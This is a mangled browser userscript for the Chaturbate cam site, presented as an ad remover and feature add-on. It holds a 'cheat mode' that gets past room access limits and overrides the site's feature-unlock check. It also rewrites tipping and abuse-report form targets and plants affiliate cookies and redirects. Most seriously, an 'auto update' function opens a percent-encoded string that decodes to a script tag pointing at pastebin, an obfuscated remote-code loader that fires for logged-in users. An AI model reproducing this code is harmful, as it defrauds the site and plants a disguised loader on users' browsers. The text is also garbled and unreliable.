//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 217. 218. 219.75. 220. 221. 222.76. createCookie("agreeterms","1",1); 223. 224. 225.77. createCookie("np3","0",1); 226. 227. 228.78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 229. 230. 231.79. 232. 233. 234.80. function do_script() { 235. 236. 237.81. 238. 239. 240.82. // some adjustment needed if we are in cheat mode 241. 242. 243.83. 244. 245. 246.84. if (readCookie("cheatmode")){ 247. 248. 249.85. mode=readCookie("cheatmode").split("&"); 250. 251. 252.86. eraseCookie("cheatmode","chaturbate.com"); 253. 254. 255.87. preformer=mode[0]; 256. 257. 258.88. anon=mode[1]; 259. 260. 261.89. mob=mode[2]; 262. 263. 264.90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;"); 265. 266. 267.91. base=document.createElement('BASE'); 268. 269. 270.92. url=document.location.href; 271. 272. 273.93. url=url.replace(document.location.href.split("/")[4],preformer); 274. 275. 276.94. url=url.split("?")[0]; 277. 278. 279.95. 280. 281. 282.96. base.setAttribute("href",url); 283. 284. 285.97. 286. 287. 288.98. document.getElementsByTagName('head')[0].appendChild(base); 289. 290. 291.99. 292. 293. 294.100. 295. 296. 297.101. text1="
  376. Welcome in "+preformer+"'s room.
  377.  
  378. "; 298. 299. 300.102. text2="
  379. You are an anonymous user and you can not chat.
  380.  
  381. "; 301. 302. 303.103. text3="
  382. You are in mobile mode and you are not visible in the userlist.
  383.  
  384. "; 304. 305. 306.104. text4='
  385. Enter the private room--------Leave the private room
  386. '; 307. 308. 309.105. text5="
  387. Return to the profile.
  388.  
  389. "; 310. 311. 312.106. 313. 314. 315.107. text=document.createElement('div'); 316. 317. 318.108. 319. 320. 321.109. textf=text1; 322. 323. 324.110. if(anon==1){textf=textf+text2} 325. 326. 327.111. if(mob==1){textf=textf+text3} 328. 329. 330.112. if((anon==1)&&(mob==0)){textf=textf+text4} 331. 332. 333.113. 334. 335. 336.114. text.id="cheat"; 337. 338. 339.115. 340. 341. 342.116. text.innerHTML=textf+text5; 343. 344. 345.117. 346. 347. 348.118. body=document.getElementsByTagName('body')[0]; 349. 350. 351.119. 352. 353. 354.120. body.insertBefore(text, body.firstChild); 355. 356. 357.121. 358. 359. 360.122. // fix abuse 361. 362. 363.123. abu=document.getElementById("report_popup"); 364. 365. 366.124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/"); 367. 368. 369.125. 370. 371. 372.126. // fix the tipping 373. 374. 375.127. tips=document.getElementsByClassName('tip_shell')[0]; 376. 377. 378.128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/"); 379. 380. 381.129. 382. 383. 384.130. } 385. 386. 387.131. 388. 389. 390.132. // always earase again, just in case we broke the page 391. 392. 393.133. eraseCookie("cheatmode","chaturbate.com"); 394. 395. 396.134. // earase these too 397. 398. 399.135. eraseCookie("latest_linked_timestamp"); 400. 401. 402.136. eraseCookie("latest_linked_username"); 403. 404. 405.137. eraseCookie("affkey"); 406. 407. 408.138. eraseCookie("fromaffiliate"); 409. 410. 411.139. 412. 413. 414.140. 415. 416. 417.141. // from here normal script 418. 419. 420.142. 421. 422. 423.143. // remove visible adds 424. 425. 426.144. ad = document.getElementsByClassName('ad'); 427. 428. 429.145. if (document.location.href.split("/")[3]!="b"){ 430. 431. 432.146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}} 433. 434. 435.147. 436. 437. 438.148. verstr='Special edition
  390. V '+scversion; 439. 440. 441.149. if(document.getElementById("player")){verstr=verstr+'
  391.  Debug chatbox: '} 442. 443. 444.150. if (ad[0]){ad[0].innerHTML=verstr} 445. 446. 447.151. 448. 449. 450.152. 451. 452. 453.153. ad = document.getElementsByClassName('banner')[0]; 454. 455. 456.154. if (ad){ad.parentNode.removeChild(ad)} 457. 458. 459.155. ad=document.getElementById("botright"); 460. 461. 462.156. if (ad){ad.parentNode.removeChild(ad)} 463. 464. 465.157. 466. 467. 468.158. // advert options on menu bars and check if your logged in 469. 470. 471.159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");} 472. 473. 474.160. notlogged = GM_getValue( "all" , 0 ); 475. 476. 477.161. bar=document.getElementById("nav"); 478. 479. 480.162. if (bar){ 481. 482. 483.163. barl=bar.getElementsByTagName('li'); 484. 485. 486.164. i=barl.length-1; 487. 488. 489.165. while (i != -1){ 490. 491. 492.166. d=barl[i].innerHTML; 493. 494. 495.167. if (d.indexOf('/login') != -1) {notlogged = 1} 496. 497. 498.168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--} 499. 500. 501.169. else{barl[i].parentNode.removeChild(barl[i]);i--} 502. 503. 504.170. }} 505. 506. 507.171. 508. 509. 510.172. // rss feed link 511. 512. 513.173. if(document.getElementsByClassName('wide')[0]){ 514. 515. 516.174. newli=document.createElement('li'); 517. 518. 519.175. newli.innerHTML="LAST ONLINE "; 520. 521. 522.176. if (bar){bar.appendChild(newli)}} 523. 524. 525.177. 526. 527. 528.178. // find user 529. 530. 531.179. if(document.getElementsByClassName('wide')[0]){ 532. 533. 534.180. newli=document.createElement('li'); 535. 536. 537.181. newli.innerHTML="FIND A USER "; 538. 539. 540.182. if (bar){bar.appendChild(newli)}} 541. 542. 543.183. 544. 545. 546.184. 547. 548. 549.185. // blog spam 550. 551. 552.186. ad = document.getElementsByClassName('featured_blog_posts')[0]; 553. 554. 555.187. if (ad){ad.parentNode.removeChild(ad)} 556. 557. 558.188. 559. 560. 561.189. // footer spam 562. 563. 564.190. ad = document.getElementsByClassName('featured_text')[0]; 565. 566. 567.191. if (ad){ad.parentNode.removeChild(ad)} 568. 569. 570.192. 571. 572. 573.193. // announcement banner 574. 575. 576.194. ad = document.getElementsByClassName('top-section')[0]; 577. 578. 579.195. if (ad){ 580. 581. 582.196. ad = ad.getElementsByTagName('img')[0]; 583. 584. 585.197. if (ad){ad.parentNode.removeChild(ad)}} 586. 587. 588.198. 589. 590. 591.199. // footer cleanup 592. 593. 594.200. ad = document.getElementsByClassName('footer-holder')[0]; 595. 596. 597.201. if (ad){ 598. 599. 600.202. ad1 = ad.getElementsByTagName('p')[3]; 601. 602. 603.203. if (ad1){ad1.parentNode.removeChild(ad1)} 604. 605. 606.204. ad1 = ad.getElementsByTagName('p')[2]; 607. 608. 609.205. if (ad1){ad1.parentNode.removeChild(ad1)} 610. 611. 612.206. ad1 = ad.getElementsByTagName('p')[1]; 613. 614. 615.207. if (ad1){ad1.parentNode.removeChild(ad1)} 616. 617. 618.208. ad1 = ad.getElementsByTagName('p')[0]; 619. 620. 621.209. if (ad1){ad1.parentNode.removeChild(ad1)}} 622. 623. 624.210. 625. 626. 627.211. // strech the screen 628. 629. 630.212. front=document.getElementsByClassName('c-1')[0]; 631. 632. 633.213. if(front) { 634. 635. 636.214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 637. 638. 639.215. front=document.getElementsByClassName('c-1')[1]; 640. 641. 642.216. if(front) { 643. 644. 645.217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 646. 647. 648.218. 649. 650. 651.219. // remove out of position images 652. 653. 654.220. container = document.getElementById("tabs_content_container") 655. 656. 657.221. if (container){ 658. 659. 660.222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br"); 661. 662. 663.223. for (n=0; nOPEN THE NORMAL CHAT "; 760. 761. 762.256. if (bar){bar.appendChild(newli)} 763. 764. 765.257. 766. 767. 768.258. 769. 770. 771.259. // go to semi password room 772. 773. 774.260. newli=document.createElement('li'); 775. 776. 777.261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4]; 778. 779. 780.262. newli.innerHTML="GO TO PASSWORD ROOM"; 781. 782. 783.263. if (bar){bar.appendChild(newli)}; 784. 785. 786.264. 787. 788. 789.265. // go to embedded room 790. 791. 792.266. newli=document.createElement('li'); 793. 794. 795.267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4]; 796. 797. 798.268. newli.innerHTML="OPEN THE ROOM IN A CLEAN PAGE"; 799. 800. 801.269. if (bar){bar.appendChild(newli)}; 802. 803. 804.270. 805. 806. 807.271. } // end only on profile page 808. 809. 810.272. 811. 812. 813.273. // graphic rss feed 814. 815. 816.274. function showfeed(){ 817. 818. 819.275. var x=document.getElementById("selector").selectedIndex; 820. 821. 822.276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ; 823. 824. 825.277. 826. 827. 828.278. GM_xmlhttpRequest({ 829. 830. 831.279. method: 'GET', 832. 833. 834.280. url: feedXml, 835. 836. 837.281. onload: function(response) { 838. 839. 840.282. xmlString=response.responseText; 841. 842. 843.283. 844. 845. 846.284. // dirty HTML parser, i can handle xml as html 847. 848. 849.285. xmldoc=document.createElement('div'); 850. 851. 852.286. xmldoc.innerHTML=xmlString; 853. 854. 855.287. 856. 857. 858.288. area=document.getElementsByClassName('content_body')[0]; 859. 860. 861.289. area.innerHTML=""; 862. 863. 864.290. 865. 866. 867.291. newdiv=document.createElement('div'); 868. 869. 870.292. area.appendChild(newdiv); 871. 872. 873.293. 874. 875. 876.294. holder=document.createElement('ul'); 877. 878. 879.295. holder.className="list"; 880. 881. 882.296. holder.id="check"; 883. 884. 885.297. newdiv.appendChild(holder); 886. 887. 888.298. 889. 890. 891.299. var items = new Array(); 892. 893. 894.300. items=xmldoc.getElementsByTagName('item'); 895. 896. 897.301. 898. 899. 900.302. blockstring='item2' 901. 902. 903.303. +' ' 904. 905. 906.304. +'
  392. ' 907. 908. 909.305. +'
  393. ' 910. 911. 912.306. +'item5' 913. 914. 915.307. +' ' 916. 917. 918.308. +'
  394. ' 919. 920. 921.309. +'' 922. 923. 924.310. +'
  395. ' 925. 926. 927.311. +'' 928. 929. 930.312. +'' 931. 932. 933.313. +'•item8
  396. ' 934. 935. 936.314. +'•item9 min. online - item10 viewers
  397. ' 937. 938. 939.315. +'' 940. 941. 942.316. +''; 943. 944. 945.317. 946. 947. 948.318. for (n=0; n= 24){Honline=Honline-24} 1012. 1013. 1014.340. 1015. 1016. 1017.341. d = new Date(); 1018. 1019. 1020.342. Hnow = d.getHours(); 1021. 1022. 1023.343. Mnow = d.getMinutes(); 1024. 1025. 1026.344. Snow = d.getSeconds(); 1027. 1028. 1029.345. 1030. 1031. 1032.346. secnow=(Hnow*60*60)+(Mnow*60)+Snow; 1033. 1034. 1035.347. seconl=(Honline*60*60)+(Monline*60)+Sonline; 1036. 1037. 1038.348. secdiff=Math.abs(secnow-seconl); 1039. 1040. 1041.349. mindiff=parseInt(secdiff/60); 1042. 1043. 1044.350. 1045. 1046. 1047.351. block=document.createElement('li'); 1048. 1049. 1050.352. block.setAttribute("style", "margin: 5px 5px 5px 5px;"); 1051. 1052. 1053.353. 1054. 1055. 1056.354. blockstring1=blockstring.replace("item1",image_url); 1057. 1058. 1059.355. blockstring1=blockstring1.replace("item2",title); 1060. 1061. 1062.356. blockstring1=blockstring1.replace("item3",guid); 1063. 1064. 1065.357. blockstring1=blockstring1.replace("item4",guid); 1066. 1067. 1068.358. blockstring1=blockstring1.replace("item5",username); 1069. 1070. 1071.359. blockstring1=blockstring1.replace("item6",gender); 1072. 1073. 1074.360. blockstring1=blockstring1.replace("item8",location_); 1075. 1076. 1077.361. blockstring1=blockstring1.replace("item9",mindiff); 1078. 1079. 1080.362. blockstring1=blockstring1.replace("item10",number_of_users_watching); 1081. 1082. 1083.363. 1084. 1085. 1086.364. block.innerHTML=blockstring1; 1087. 1088. 1089.365. 1090. 1091. 1092.366. holder.appendChild(block); 1093. 1094. 1095.367. 1096. 1097. 1098.368. } // end for 1099. 1100. 1101.369. 1102. 1103. 1104.370. setTimeout(function(){showfeed()},20000); 1105. 1106. 1107.371. 1108. 1109. 1110.372. } // end onload 1111. 1112. 1113.373. }); // end xmlhttp 1114. 1115. 1116.374. } // end function 1117. 1118. 1119.375. 1120. 1121. 1122.376. 1123. 1124. 1125.377. //finduser 1126. 1127. 1128.378. function finduser(){ 1129. 1130. 1131.379. fusern=document.getElementById("fusername").value; 1132. 1133. 1134.380. if (fusern == ""){alert("First fill in a username !");return false} 1135. 1136. 1137.381. 1138. 1139. 1140.382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist"; 1141. 1142. 1143.383. 1144. 1145. 1146.384. 1147. 1148. 1149.385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000'; 1150. 1151. 1152.386. 1153. 1154. 1155.387. GM_xmlhttpRequest({ 1156. 1157. 1158.388. method: 'GET', 1159. 1160. 1161.389. url: feedXml, 1162. 1163. 1164.390. onload: function(response) { 1165. 1166. 1167.391. responsedoc=response.responseText; 1168. 1169. 1170.392. 1171. 1172. 1173.393. // dirty HTML parser 1174. 1175. 1176.394. parse=document.createElement('div'); 1177. 1178. 1179.395. parse.innerHTML=responsedoc; 1180. 1181. 1182.396. 1183. 1184. 1185.397. var items = new Array(); 1186. 1187. 1188.398. items=parse.getElementsByClassName('title'); 1189. 1190. 1191.399. 1192. 1193. 1194.400. var olnames = new Array(); 1195. 1196. 1197.401. for (i=0; i"+fusern+"
  398.  
  399. "; 1228. 1229. 1230.412. 1231. 1232. 1233.413. i=0; 1234. 1235. 1236.414. checkroom(olnames,i); 1237. 1238. 1239.415. 1240. 1241. 1242.416. } // end onload xml 1243. 1244. 1245.417. 1246. 1247. 1248.418. }); // end xml 1249. 1250. 1251.419. 1252. 1253. 1254.420. } //end function 1255. 1256. 1257.421. 1258. 1259. 1260.422. 1261. 1262. 1263.423. function checkroom(olnames,i){ 1264. 1265. 1266.424. 1267. 1268. 1269.425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c"; 1270. 1271. 1272.426. 1273. 1274. 1275.427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : "+olnames[i]+"
  400. "; 1276. 1277. 1278.428. 1279. 1280. 1281.429. GM_xmlhttpRequest({ 1282. 1283. 1284.430. method: 'GET', 1285. 1286. 1287.431. url: userurl, 1288. 1289. 1290.432. onload: function(response) { 1291. 1292. 1293.433. data = response.responseText; 1294. 1295. 1296.434. if(data.indexOf(fusern+"|") != -1){ 1297. 1298. 1299.435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '"+fusern+"' found in room : "+olnames[i]+"
  401. "; 1300. 1301. 1302.436. } 1303. 1304. 1305.437. i++; 1306. 1307. 1308.438. if(i==olnames.length){ 1309. 1310. 1311.439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){ 1312. 1313. 1314.440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '"+fusern+"' not found."} 1315. 1316. 1317.441. else{ 1318. 1319. 1320.442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."} 1321. 1322. 1323.443. return false} 1324. 1325. 1326.444. checkroom(olnames,i); 1327. 1328. 1329.445. } // end onload xml2 1330. 1331. 1332.446. }); // end xml2 1333. 1334. 1335.447. } 1336. 1337. 1338.448. 1339. 1340. 1341.449. // set up rss page 1342. 1343. 1344.450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){ 1345. 1346. 1347.451. document.title="Last cam's online"; 1348. 1349. 1350.452. area=document.getElementsByClassName('content_body')[0]; 1351. 1352. 1353.453. area.innerHTML=""; 1354. 1355. 1356.454. area=document.getElementsByClassName('affiliate_options')[0]; 1357. 1358. 1359.455. area.innerHTML='
  402. Last cam\'s online : Show allShow only femaleShow only maleShow only coupleShow only transsexual'; 1360. 1361. 1362.456. showfeed(); 1363. 1364. 1365.457. } 1366. 1367. 1368.458. 1369. 1370. 1371.459. // set up find a user page 1372. 1373. 1374.460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){ 1375. 1376. 1377.461. document.title="Find a user"; 1378. 1379. 1380.462. area=document.getElementsByClassName('content_body')[0]; 1381. 1382. 1383.463. area.innerHTML=""; 1384. 1385. 1386.464. area=document.getElementsByClassName('affiliate_options')[0]; 1387. 1388. 1389.465. area.innerHTML='
  403. Enter the name of the user you want to locate:
  404. '; 1390. 1391. 1392.466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false); 1393. 1394. 1395.467. } 1396. 1397. 1398.468. 1399. 1400. 1401.469. // on a player page, if logged in, unlock features. 1402. 1403. 1404.470. if (play){ // player on the page ? 1405. 1406. 1407.471. if (!readCookie("logstatus")){save()} 1408. 1409. 1410.472. if(document.getElementById("defchat")){ 1411. 1412. 1413.473. scrip=document.createElement('script'); 1414. 1415. 1416.474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};"; 1417. 1418. 1419.475. document.getElementsByTagName('body')[0].appendChild(scrip); 1420. 1421. 1422.476. } 1423. 1424. 1425.477. 1426. 1427. 1428.478. // console logger 1429. 1430. 1431.479. if(document.getElementById("defchat")){ 1432. 1433. 1434.480. scrip=document.createElement('script'); 1435. 1436. 1437.481. 1438. 1439. 1440.482. scriptstring="flash_handler.consolelog = " 1441. 1442. 1443.483. +"function(msg2){" 1444. 1445. 1446.484. +"xaa=document.getElementsByClassName('chat-list')[0];" 1447. 1448. 1449.485. +"if(xaa){" 1450. 1451. 1452.486. +"msg3=unescape(msg2);" 1453. 1454. 1455.487. +"msg4='x';" 1456. 1457. 1458.488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){" 1459. 1460. 1461.489. +"msg4='
  405. '+msg3.substring(20)+'
  406. '}" 1462. 1463. 1464.490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){" 1465. 1466. 1467.491. +"msg4='
  407. '+msg3.substring(20)+'
  408. '}" 1468. 1469. 1470.492. +"if(document.getElementById('appnotice')){" 1471. 1472. 1473.493. +"if(document.getElementById('appnotice').checked==true){" 1474. 1475. 1476.494. +"msg4='
  409. '+msg3+'
  410. ';}}" 1477. 1478. 1479.495. +"if(msg4 != 'x'){" 1480. 1481. 1482.496. +"newdiv=document.createElement('div');" 1483. 1484. 1485.497. +"newdiv.className='text';" 1486. 1487. 1488.498. +"newdiv.innerHTML=msg4;" 1489. 1490. 1491.499. +"xaa.appendChild(newdiv);" 1492. 1493. 1494.500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){" 1495. 1496. 1497.501. +"xaa.scrollTop=xaa.scrollHeight}}}};"; 1498. 1499. 1500.502. 1501. 1502. 1503.503. scrip.innerHTML=scriptstring; 1504. 1505. 1506.504. document.getElementsByTagName('body')[0].appendChild(scrip); 1507. 1508. 1509.505. } 1510. 1511. 1512.506. 1513. 1514. 1515.507. 1516. 1517. 1518.508. // options page on normal player page 1519. 1520. 1521.509. if (splits[3]!="p"){ // no profile but still a player page = normal page 1522. 1523. 1524.510. newli=document.createElement('li'); 1525. 1526. 1527.511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; 1528. 1529. 1530.512. newli.innerHTML="GO TO THE PROFILE PAGE WITH OPTIONS"; 1531. 1532. 1533.513. if (bar){bar.appendChild(newli)}} 1534. 1535. 1536.514. 1537. 1538. 1539.515. // shoutbox on all player pages 1540. 1541. 1542.516. newtab2=document.createElement('div'); 1543. 1544. 1545.517. newtab2.id="shout"; 1546. 1547. 1548.518. newtab2.innerHTML=sdata; 1549. 1550. 1551.519. document.getElementById("defchat").appendChild(newtab2); 1552. 1553. 1554.520. 1555. 1556. 1557.521. } // end player page 1558. 1559. 1560.522. 1561. 1562. 1563.523. // remove lock picture from thumb 1564. 1565. 1566.524. pictures = document.getElementsByClassName('preview'); 1567. 1568. 1569.525. if (pictures){ 1570. 1571. 1572.526. for (i=0; i'+uname+''; 1978. 1979. 1980.662. ulist.appendChild(div3); 1981. 1982. 1983.663. } 1984. 1985. 1986.664. }}) 1987. 1988. 1989.665. }} 1990. 1991. 1992.666. 1993. 1994. 1995.667. //popvid 1996. 1997. 1998.668. function popvid(){ 1999. 2000. 2001.669. vidwin=document.getElementById("player").innerHTML; 2002. 2003. 2004.670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no"); 2005. 2006. 2007.671. popUpWindow.document.writeln (''+vidwin+''); 2008. 2009. 2010.672. popUpWindow.document.close(); 2011. 2012. 2013.673. window.close(); 2014. 2015. 2016.674. document.location.href="http://chaturbate.com"} 2017. 2018. 2019.675. 2020. 2021. 2022.676. // new cheat function 2023. 2024. 2025.677. function npcheat(preformer,anon){ 2026. 2027. 2028.678. 2029. 2030. 2031.679. mmode=0; 2032. 2033. 2034.680. if(document.getElementById('mobmode').checked==true){mmode=1} 2035. 2036. 2037.681. 2038. 2039. 2040.682. // get chat host 2041. 2042. 2043.683. GM_xmlhttpRequest({ 2044. 2045. 2046.684. method: 'GET', 2047. 2048. 2049.685. url: 'http://www.chaturbate.com/embed/'+preformer, 2050. 2051. 2052.686. onload: function(response2) { 2053. 2054. 2055.687. data2 = response2.responseText; 2056. 2057. 2058.688. 2059. 2060. 2061.689. chostpos=data2.indexOf("rtmp://chat"); 2062. 2063. 2064.690. if (chostpos == -1){ 2065. 2066. 2067.691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one."); 2068. 2069. 2070.692. if (r==true){chost="rtmp://chat1"} 2071. 2072. 2073.693. else{chost="rtmp://chat2"}} 2074. 2075. 2076.694. else{ 2077. 2078. 2079.695. chost=data2.substring(chostpos,chostpos+12)} 2080. 2081. 2082.696. 2083. 2084. 2085.697. // set a cookie so we know the new page must be adjusted and how 2086. 2087. 2088.698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com"); 2089. 2090. 2091.699. 2092. 2093. 2094.700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/'; 2095. 2096. 2097.701. 2098. 2099. 2100.702. }}); 2101. 2102. 2103.703. } 2104. 2105. 2106.704. 2107. 2108. 2109.705. //auto update 2110. 2111. 2112.706. function save(){ 2113. 2114. 2115.707. if(document.getElementsByClassName('username')[0]){ 2116. 2117. 2118.708. uname=document.getElementsByClassName('username')[0].innerHTML; 2119. 2120. 2121.709. 2122. 2123. 2124.710. 2125. 2126. 2127.711. 2128. 2129. 2130.712. // createCookie("agreeterms","1",1); 2131. 2132. 2133.713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 2134. 2135. 2136.714. upperdate(); 2137. 2138. 2139.715. 2140. 2141. 2142.716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 ) 2143. 2144. 2145.717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return; 2146. 2147. 2148.718. } 2149. 2150. 2151.719. 2152. 2153. 2154.720. // create video box with shoutbox, image,normal and anon option, kill refesh 2155. 2156. 2157.721. function makevid(preformer){ 2158. 2159. 2160.722. 2161. 2162. 2163.723. // kill all timeouts 2164. 2165. 2166.724. scrip=document.createElement('script'); 2167. 2168. 2169.725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}'; 2170. 2171. 2172.726. document.getElementsByTagName('body')[0].appendChild(scrip); 2173. 2174. 2175.727. 2176. 2177. 2178.728. // image 2179. 2180. 2181.729. prefimg=''; 2182. 2183. 2184.730. 2185. 2186. 2187.731. Fversion = getfversion(); 2188. 2189. 2190.732. videodata2 = videodata2.replace("ladroop",preformer); 2191. 2192. 2193.733. newvid=document.createElement('div'); 2194. 2195. 2196.734. 2197. 2198. 2199.735. newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata; 2200. 2201. 2202.736. 2203. 2204. 2205.737. document.getElementsByClassName('block')[0].appendChild(newvid); 2206. 2207. 2208.738. newli=document.createElement('li'); 2209. 2210. 2211.739. newli.innerHTML="ENTER THIS CHATBOX"; 2212. 2213. 2214.740. if (bar){bar.appendChild(newli)} 2215. 2216. 2217.741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false); 2218. 2219. 2220.742. ainput()} 2221. 2222. 2223.743. 2224. 2225. 2226.744. // set anon 2227. 2228. 2229.745. function ainput(){ 2230. 2231. 2232.746. newli=document.createElement('li'); 2233. 2234. 2235.747. newli.innerHTML='ENTER THIS CHATBOX ANONYMOUS'; 2236. 2237. 2238.748. if (bar){bar.appendChild(newli)} 2239. 2240. 2241.749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false); 2242. 2243. 2244.750. mobset()} 2245. 2246. 2247.751. 2248. 2249. 2250.752. // mobile mode 2251. 2252. 2253.753. function mobset(){ 2254. 2255. 2256.754. newli=document.createElement('li'); 2257. 2258. 2259.755. newli.innerHTML=' Use mobile mode: '; 2260. 2261. 2262.756. if (bar){bar.appendChild(newli)}} 2263. 2264. 2265.757. 2266. 2267. 2268.758. 2269. 2270. 2271.759. // reconnect chatbox , give me mu8 link 2272. 2273. 2274.760. function keyinput(){ 2275. 2276. 2277.761. if (!document.getElementById("cheat")){ 2278. 2279. 2280.762. 2281. 2282. 2283.763. if (document.getElementById("movie")){ 2284. 2285. 2286.764. place=document.getElementsByClassName('info-user')[0]; 2287. 2288. 2289.765. if(!place){place=document.getElementById("shout")} // for pw room with chat 2290. 2291. 2292.766. 2293. 2294. 2295.767. //chat reload 2296. 2297. 2298.768. if (document.getElementsByClassName("chat-box")[0]){ 2299. 2300. 2301.769. chatreload=document.createElement('div'); 2302. 2303. 2304.770. chatreload.innerHTML="Reconnect the chatbox
  411.  
  412. "; 2305. 2306. 2307.771. document.getElementById("defchat").insertBefore(chatreload,place)} 2308. 2309. 2310.772. 2311. 2312. 2313.773. if (document.getElementsByTagName('video')[0]){ 2314. 2315. 2316.774. vidlink=document.getElementsByTagName('video')[0].src; 2317. 2318. 2319.775. vid=document.createElement('div'); 2320. 2321. 2322.776. vid.innerHTML="COPY this link into VLC player.
  413.  
  414. "; 2323. 2324. 2325.777. document.getElementById("defchat").insertBefore(vid,place)}} 2326. 2327. 2328.778. } 2329. 2330. 2331.779. } 2332. 2333. 2334.780. 2335. 2336. 2337.781. //get saved flashplayer version 2338. 2339. 2340.782. function getfversion(){ 2341. 2342. 2343.783. Fversion=readCookie("CBversion"); 2344. 2345. 2346.784. if(!Fversion){Fversion=flashplayer} 2347. 2348. 2349.785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static")); 2350. 2351. 2352.786. return version} 2353. 2354. 2355.787. 2356. 2357. 2358.788. // videobox data 2359. 2360. 2361.789. var servers=new Array("","-a","-b"); 2362. 2363. 2364.790. var server = servers[Math.floor(Math.random()*3)];//0-1-2 2365. 2366. 2367.791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down 2368. 2369. 2370.792. 2371. 2372. 2373.793. videodata1='
  415. ' 2374. 2375. 2376.794. +'' 2383. 2384. 2385.797. +'' 2386. 2387. 2388.798. +'' 2389. 2390. 2391.799. +'' 2392. 2393. 2394.800. +'' 2395. 2396. 2397.801. +'' 2398. 2399. 2400.802. +'' 2407. 2408. 2409.805. +'
  416. ' 2410. 2411. 2412.806. 2413. 2414. 2415.807. // shoutbox data 2416. 2417. 2418.808. sdata = '
  417.  
  418.  
  419. Shoutbox
  420.  
  421. '; 2425. 2426. 2427.811. 2428. 2429. 2430.812. // some cookies 2431. 2432. 2433.813. createCookie("u_NxHf","1",1); 2434. 2435. 2436.814. createCookie("us_NxHf","1",1); 2437. 2438. 2439.815. createCookie("dsmn29","1",1); 2440. 2441. 2442.816. createCookie("dsmn26","1",1); 2443. 2444. 2445.817. createCookie("dsmn27","1",1); 2446. 2447. 2448.818. createCookie("dsmn28","1",1); 2449. 2450. 2451.819. 2452. 2453. 2454.820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)} 2455. 2456. 2457.821. 2458. 2459. 2460.822. //---------------------------------------------------------------------------------------------------------------------------------- 2461. 2462. 2463.823. // executes !everytime! before a script executes 2464. 2465. 2466.824. function do_script2(e) { 2467. 2468. 2469.825. 2470. 2471. 2472.826. // we will always kill swf storage and earase exisiting storage 2473. 2474. 2475.827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script 2476. 2477. 2478.828. 2479. 2480. 2481.829. if(!e.target.id){// already altered ? , then ID is set 2482. 2483. 2484.830. 2485. 2486. 2487.831. script=e.target.innerHTML; 2488. 2489. 2490.832. e.preventDefault(); 2491. 2492. 2493.833. e.stopPropagation(); 2494. 2495. 2496.834. e.target.parentNode.removeChild(e.target); 2497. 2498. 2499.835. 2500. 2501. 2502.836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()"); 2503. 2504. 2505.837. 2506. 2507. 2508.838. scrip=document.createElement('script'); 2509. 2510. 2511.839. scrip.id="newswfstor"; 2512. 2513. 2514.840. 2515. 2516. 2517.841. scrip.innerHTML=script; 2518. 2519. 2520.842. document.getElementsByTagName('body')[0].appendChild(scrip); 2521. 2522. 2523.843. 2524. 2525. 2526.844. }} 2527. 2528. 2529.845. 2530. 2531. 2532.846. 